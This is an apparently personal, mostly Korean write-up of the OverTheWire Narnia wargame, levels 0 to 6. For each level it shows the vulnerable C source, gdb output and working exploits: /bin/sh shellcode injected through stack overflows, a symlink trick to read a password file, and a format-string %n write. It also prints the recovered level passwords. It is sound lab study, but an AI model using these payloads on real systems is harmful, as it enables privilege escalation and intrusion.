Narnia
https://overthewire.org/wargames/narnia/
1
2
3
4
5
6
7
8
9
10
11
12
13
| Summary:
Difficulty: 2/10
Levels: 10
Platform: Linux/x86
ssh narnia0@narnia.labs.overthewire.org -p 2226
Username: narnia0
Password: narnia0
cd /narnia
password dir : /etc/narnia_pass/narnia{}
|
Level 0 -> Level 1
1
| ssh narnia0@narnia.labs.overthewire.org -p 2226
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| /* narnia0.c */
#include <stdio.h>
#include <stdlib.h>
int main(){
long val=0x41414141;
char buf[20];
printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
printf("Here is your chance: ");
scanf("%24s",&buf);
printf("buf: %s\n",buf);
printf("val: 0x%08x\n",val);
if(val==0xdeadbeef){
setreuid(geteuid(),geteuid());
system("/bin/sh");
}
else {
printf("WAY OFF!!!!\n");
exit(1);
}
return 0;
}
|
평범한 bof 문제로 buf에 ‘a’ 24글자 입력해주면 바뀜.
따라서 마지막 4글자만 0xdeadbeef
넣어주면 됨.
1
2
3
4
5
6
7
8
| narnia0@narnia:/narnia$ (python -c 'print "a"*20+"\xef\xbe\xad\xde"';cat) | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: aaaaaaaaaaaaaaaaaaaaᆳ
val: 0xdeadbeef
id
uid=14001(narnia1) gid=14000(narnia0) groups=14000(narnia0)
cat /etc/narnia_pass/narnia1
efeidiedae
|
Level 1 -> Level 2
1
| ssh narnia1@narnia.labs.overthewire.org -p 2226
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| #include <stdio.h>
int main(){
int (*ret)();
if(getenv("EGG")==NULL){
printf("Give me something to execute at the env-variable EGG\n");
exit(1);
}
printf("Trying to execute EGG!\n");
ret = getenv("EGG");
ret();
return 0;
}
|
gdb로 까보면 EGG의 값을 함수로 호출함.
여기에 system(‘/bin/sh’)를 넣어주면 됨.
쉘코드로 넣어주면 성공.
1
2
3
4
5
6
7
8
9
10
| narnia1@narnia:/narnia$ export EGG=`python -c 'print
"\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x31\xC9\x31\xD2\xB0\x0B\xCD\x80"'`
narnia1@narnia:/narnia$ env | grep EGG
Binary file (standard input) matches
narnia1@narnia:/narnia$ ./narnia1
Trying to execute EGG!
$ id
uid=14001(narnia1) gid=14001(narnia1) euid=14002(narnia2) groups=14001(narnia1)
$ cat /etc/narnia_pass/narnia2
nairiepecu
|
Level 2 -> Level 3
1
| ssh narnia2@narnia.labs.overthewire.org -p 2226
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| #include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char * argv[]){
char buf[128];
if(argc == 1){
printf("Usage: %s argument\n", argv[0]);
exit(1);
}
strcpy(buf,argv[1]);
printf("%s", buf);
return 0;
}
|
1번과 동일한 유형.
buf의 위치는 [ebp-0x80]
에서 시작함.
따라서 입력을 nop 42byte + shell 48byte + nop 42byte + ret
를 주면 됨.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| (gdb) r `python -c 'print "a"*132+"bbbb"'`
Starting program: /narnia/narnia2 `python -c 'print "a"*132+"bbbb"'`
Breakpoint 1, 0x0804848f in main ()
(gdb) x/200wx $ebp-0x80
0xffffd5b8: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd5c8: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd5d8: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd5e8: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd5f8: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd608: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd618: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd628: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd638: 0x61616161 0x62626262
[redacted]
0xffffd818: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd828: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd838: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd848: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd858: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd868: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd878: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd888: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd898: 0x42424242
|
argv[1]
의 주소 값은 0xfffd818
임.
쉘 코드를 넣어서 쉘 코드가 있는 주소를 확인해보면 0xffffd83e
임.
따라서 ret에 위 주소를 넣어주면 성공.
1
2
3
4
5
| narnia2@narnia:/narnia$ ./narnia2 `python -c 'print "\x90"*42+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*42+"\x3e\xd8\xff\xff"'`
$ id
uid=14002(narnia2) gid=14002(narnia2) euid=14003(narnia3) groups=14002(narnia2)
$ cat /etc/narnia_pass/narnia3
vaequeezee
|
Level 3 -> Level 4
1
| ssh narnia3@narnia.labs.overthewire.org -p 2226
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
| #include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv){
int ifd, ofd;
char ofile[16] = "/dev/null";
char ifile[32];
char buf[32];
if(argc != 2){
printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
exit(-1);
}
/* open files */
strcpy(ifile, argv[1]);
if((ofd = open(ofile,O_RDWR)) < 0 ){
printf("error opening %s\n", ofile);
exit(-1);
}
if((ifd = open(ifile, O_RDONLY)) < 0 ){
printf("error opening %s\n", ifile);
exit(-1);
}
/* copy from file1 to file2 */
read(ifd, buf, sizeof(buf)-1);
write(ofd,buf, sizeof(buf)-1);
printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);
/* close 'em */
close(ifd);
close(ofd);
exit(1);
}
|
입력을 ebp-0x38
에서 받고 /dev/null
이 있는 곳은 ebp-0x18
에 있음.
/dev/null
은 아무런 출력 값을 내놓지 않으므로 이 값을 내가 만든 파일로 바꿀꺼임.
1
2
3
4
5
6
7
8
| narnia3@narnia:/narnia$ ltrace ./narnia3 `python -c 'print "a"*32+"BBBB"'`
__libc_start_main(0x804850b, 2, 0xffffd764, 0x8048620 <unfinished ...>
strcpy(0xffffd690, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"...) = 0xffffd690
open("BBBB", 2, 037777777777) = -1
printf("error opening %s\n", "BBBB"error opening BBBB
) = 19
exit(-1 <no return ...>
+++ exited (status 255) +++
|
따라서 비밀번호 파일을 링크를 해줘서 그 파일을 읽게 한 다음 내가 읽을 파일에 쓰여지게 해주면 됨.
1
2
3
4
| BBBB 부분은 /tmp/password 로 변경해줄꺼임.
32byte 부분은 /tmp/+"b"*27로 해줄꺼임.
-> /tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb/tmp/password
|
따라서 우리는 두 가지의 파일을 생성해줘야 함.
첫 번째는 /tmp/password
파일과
두 번째는 /tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb/tmp/password
파일임.
두 번째 파일을 password 링크 파일로 해줘서 이 파일을 읽게 하여 첫 번째 파일에 쓰여지게 할꺼임.
1
2
3
4
5
6
| narnia3@narnia:/narnia$ touch /tmp/password
narnia3@narnia:/narnia$ ls -al /tmp/password
-rw-r--r-- 1 narnia3 root 0 Jan 22 06:58 /tmp/password
narnia3@narnia:/narnia$ chmod 777 /tmp/password
narnia3@narnia:/narnia$ ls -al /tmp/password
-rwxrwxrwx 1 narnia3 root 0 Jan 22 06:58 /tmp/password
|
/tmp/password
에는 narnia4
의 권한이 없으므로 권한을 줘야함.
이제 두 번째 파일을 생성해야 함.
1
2
3
4
5
6
7
| narnia3@narnia:/narnia$ mkdir /tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb/tmp
narnia3@narnia:/tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb/tmp$ ln -s /etc/narnia_pass/narnia4 password
narnia3@narnia:/tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb/tmp$ ls -al
total 8
drwxr-sr-x 2 narnia3 root 4096 Jan 22 07:01 .
drwxr-sr-x 3 narnia3 root 4096 Jan 13 16:18 ..
lrwxrwxrwx 1 narnia3 root 24 Jan 22 07:01 password -> /etc/narnia_pass/narnia4
|
1
2
3
4
| narnia3@narnia:/narnia$ ./narnia3 /tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb/tmp/password
copied contents of /tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb/tmp/password to a safer place... (/tmp/password)
narnia3@narnia:/narnia$ cat /tmp/password
thaenohtai
|
Level 4 -> Level 5
1
| ssh narnia4@narnia.labs.overthewire.org -p 2226
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| #include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>
extern char **environ;
int main(int argc,char **argv){
int i;
char buffer[256];
for(i = 0; environ[i] != NULL; i++)
memset(environ[i], '\0', strlen(environ[i]));
if(argc>1)
strcpy(buffer,argv[1]);
return 0;
}
|
입력을 [ebp-260]
부터 받음. 따라서 119 nop + 25 shell + 120 nop + ret
1
2
3
| 0x08048518 <+109>: lea eax,[ebp-0x104] // 260
0x0804851e <+115>: push eax
0x0804851f <+116>: call 0x8048360 <strcpy@plt>
|
argv[1]의 주소를 gdb로 확인하고 쉘 코드는 0xffffd80b
부터 시작함.
1
2
3
4
5
| narnia4@narnia:/narnia$ ./narnia4 `python -c 'print "\x90"*119+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*120+"\x0b\xd8\xff\xff"'`
$ id
uid=14004(narnia4) gid=14004(narnia4) euid=14005(narnia5) groups=14004(narnia4)
$ cat /etc/narnia_pass/narnia5
faimahchiy
|
Level 5 -> Level 6
1
| ssh narnia5@narnia.labs.overthewire.org -p 2226
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| #include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv){
int i = 1;
char buffer[64];
snprintf(buffer, sizeof buffer, argv[1]);
buffer[sizeof (buffer) - 1] = 0;
printf("Change i's value from 1 -> 500. ");
if(i==500){
printf("GOOD\n");
setreuid(geteuid(),geteuid());
system("/bin/sh");
}
printf("No way...let me give you a hint!\n");
printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
printf ("i = %d (%p)\n", i, &i);
return 0;
}
|
format string bug를 이용해 풀 수 있음.
i에 500을 넣어줘야하기 때문에 i의 주소를 넣고 입력 값이 참조되어지는 포맷 스트링은 첫 번재이므로 첫 번째에 500을 넣어줘야 함.
주소값 4 + 496
총 500의 값이 i에 씌워지게 될꺼임.
1
2
3
4
| narnia5@narnia:/narnia$ ./narnia5 `python -c 'print "\xd0\xd6\xff\xff"+"%496c%1$n"'`
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [ ] (50)
i = 1 (0xffffd6e0)
|
주소가 바껴서 다시 입력.
1
2
3
4
5
6
| narnia5@narnia:/narnia$ ./narnia5 `python -c 'print "\xe0\xd6\xff\xff"+"%496c%1$n"'`
Change i's value from 1 -> 500. GOOD
$ id
uid=14006(narnia6) gid=14005(narnia5) groups=14005(narnia5)
$ cat /etc/narnia_pass/narnia6
neezocaeng
|
Level 6 -> Level 7
ssh narnia5@narnia.labs.overthewire.org -p 2226
password : neezocaeng
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
| #include <stdio.h>
#include <stdlib.h>
#include <string.h>
extern char **environ;
// tired of fixing values...
// - morla
unsigned long get_sp(void) {
__asm__("movl %esp,%eax\n\t"
"and $0xff000000, %eax"
);
}
int main(int argc, char *argv[]){
char b1[8], b2[8];
int (*fp)(char *)=(int(*)(char *))&puts, i;
if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); }
/* clear environ */
for(i=0; environ[i] != NULL; i++)
memset(environ[i], '\0', strlen(environ[i]));
/* clear argz */
for(i=3; argv[i] != NULL; i++)
memset(argv[i], '\0', strlen(argv[i]));
strcpy(b1,argv[1]);
strcpy(b2,argv[2]);
//if(((unsigned long)fp & 0xff000000) == 0xff000000)
if(((unsigned long)fp & 0xff000000) == get_sp())
exit(-1);
setreuid(geteuid(),geteuid());
fp(b1);
exit(1);
}
|